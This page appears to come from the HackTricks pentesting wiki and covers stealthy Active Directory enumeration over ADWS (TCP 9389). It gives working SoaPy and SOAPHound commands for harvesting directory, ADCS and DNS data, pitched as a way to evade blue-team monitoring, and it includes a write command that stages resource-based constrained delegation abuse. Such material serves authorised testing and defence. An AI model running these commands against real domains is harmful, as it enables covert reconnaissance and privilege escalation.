Active Directory Web Services (ADWS) Enumeration & Stealth Collection

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

What is ADWS?

Active Directory Web Services (ADWS) is enabled by default on every Domain Controller since Windows Server 2008 R2 and listens on TCP 9389. Despite the name, no HTTP is involved. Instead, the service exposes LDAP-style data through a stack of proprietary .NET framing protocols:

  • MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF

Because the traffic is encapsulated inside these binary SOAP frames and travels over an uncommon port, enumeration through ADWS is far less likely to be inspected, filtered or signatured than classic LDAP/389 & 636 traffic. For operators this means:

  • Stealthier recon – Blue teams often concentrate on LDAP queries.
  • Freedom to collect from non-Windows hosts (Linux, macOS) by tunnelling 9389/TCP through a SOCKS proxy.
  • The same data you would obtain via LDAP (users, groups, ACLs, schema, etc.) and the ability to perform writes (e.g. msDs-AllowedToActOnBehalfOfOtherIdentity for RBCD).

ADWS interactions are implemented over WS-Enumeration: every query starts with an Enumerate message that defines the LDAP filter/attributes and returns an EnumerationContext GUID, followed by one or more Pull messages that stream up to the server-defined result window. Contexts age out after ~30 minutes, so tooling either needs to page results or split filters (prefix queries per CN) to avoid losing state. When asking for security descriptors, specify the LDAP_SERVER_SD_FLAGS_OID control to omit SACLs, otherwise ADWS simply drops the nTSecurityDescriptor attribute from its SOAP response.

NOTE: ADWS is also used by many RSAT GUI/PowerShell tools, so traffic may blend with legitimate admin activity.

SoaPy – Native Python Client

SoaPy is a full re-implementation of the ADWS protocol stack in pure Python. It crafts the NBFX/NBFSE/NNS/NMF frames byte-for-byte, allowing collection from Unix-like systems without touching the .NET runtime.

Key Features

  • Supports proxying through SOCKS (useful from C2 implants).
  • Fine-grained search filters identical to LDAP -q '(objectClass=user)'.
  • Optional write operations ( --set / --delete ).
  • BOFHound output mode for direct ingestion into BloodHound.
  • --parse flag to prettify timestamps / userAccountControl when human readability is required.

Targeted collection flags & write operations

SoaPy ships with curated switches that replicate the most common LDAP hunting tasks over ADWS: --users, --computers, --groups, --spns, --asreproastable, --admins, --constrained, --unconstrained, --rbcds, plus raw --query / --filter knobs for custom pulls. Pair those with write primitives such as --rbcd <source> (sets msDs-AllowedToActOnBehalfOfOtherIdentity), --spn <service/cn> (SPN staging for targeted Kerberoasting) and --asrep (flip DONT_REQ_PREAUTH in userAccountControl).

Example targeted SPN hunt that only returns samAccountName and servicePrincipalName:

soapy corp.local/alice:'Winter2025!'@dc01.corp.local \
      --spns -f samAccountName,servicePrincipalName --parse

Use the same host/credentials to immediately weaponise findings: dump RBCD-capable objects with --rbcds, then apply --rbcd 'WEBSRV01$' --account 'FILE01$' to stage a Resource-Based Constrained Delegation chain (see Resource-Based Constrained Delegation for the full abuse path).

Installation (operator host)

python3 -m pip install soapy-adws   # or git clone && pip install -r requirements.txt

SOAPHound – High-Volume ADWS Collection (Windows)

FalconForce SOAPHound is a .NET collector that keeps all LDAP interactions inside ADWS and emits BloodHound v4-compatible JSON. It builds a complete cache of objectSid, objectGUID, distinguishedName and objectClass once (--buildcache), then re-uses it for high-volume --bhdump, --certdump (ADCS), or --dnsdump (AD-integrated DNS) passes so only ~35 critical attributes ever leave the DC. AutoSplit (--autosplit --threshold <N>) automatically shards queries by CN prefix to stay under the 30-minute EnumerationContext timeout in large forests.

Typical workflow on a domain-joined operator VM:

# Build cache (JSON map of every object SID/GUID)
SOAPHound.exe --buildcache -c C:\temp\corp-cache.json

# BloodHound collection in autosplit mode, skipping LAPS noise
SOAPHound.exe -c C:\temp\corp-cache.json --bhdump \
              --autosplit --threshold 1200 --nolaps \
              -o C:\temp\BH-output

# ADCS & DNS enrichment for ESC chains
SOAPHound.exe -c C:\temp\corp-cache.json --certdump -o C:\temp\BH-output
SOAPHound.exe --dnsdump -o C:\temp\dns-snapshot

Exported JSON slots directly into SharpHound/BloodHound workflows—see BloodHound methodology for downstream graphing ideas. AutoSplit makes SOAPHound resilient on multi-million object forests while keeping the query count lower than ADExplorer-style snapshots.

Stealth AD Collection Workflow

The following workflow shows how to enumerate domain & ADCS objects over ADWS, convert them to BloodHound JSON and hunt for certificate-based attack paths – all from Linux:

  1. Tunnel 9389/TCP from the target network to your box (e.g. via Chisel, Meterpreter, SSH dynamic port-forward, etc.). Export export HTTPS_PROXY=socks5://127.0.0.1:1080 or use SoaPy’s --proxyHost/--proxyPort.

  2. Collect the root domain object:

soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
      -q '(objectClass=domain)' \
      | tee data/domain.log
  1. Collect ADCS-related objects from the Configuration NC:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
      -dn 'CN=Configuration,DC=ludus,DC=domain' \
      -q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
           (objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
      | tee data/adcs.log
  1. Convert to BloodHound:
bofhound -i data --zip   # produces BloodHound.zip
  1. Upload the ZIP in the BloodHound GUI and run cypher queries such as MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c to reveal certificate escalation paths (ESC1, ESC8, etc.).

Writing msDs-AllowedToActOnBehalfOfOtherIdentity (RBCD)

soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
      --set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
      msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'

Combine this with s4u2proxy/Rubeus /getticket for a full Resource-Based Constrained Delegation chain (see Resource-Based Constrained Delegation).

Tooling Summary

PurposeToolNotes
ADWS enumerationSoaPyPython, SOCKS, read/write
High-volume ADWS dumpSOAPHound.NET, cache-first, BH/ADCS/DNS modes
BloodHound ingestBOFHoundConverts SoaPy/ldapsearch logs
Cert compromiseCertipyCan be proxied through same SOCKS

References

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks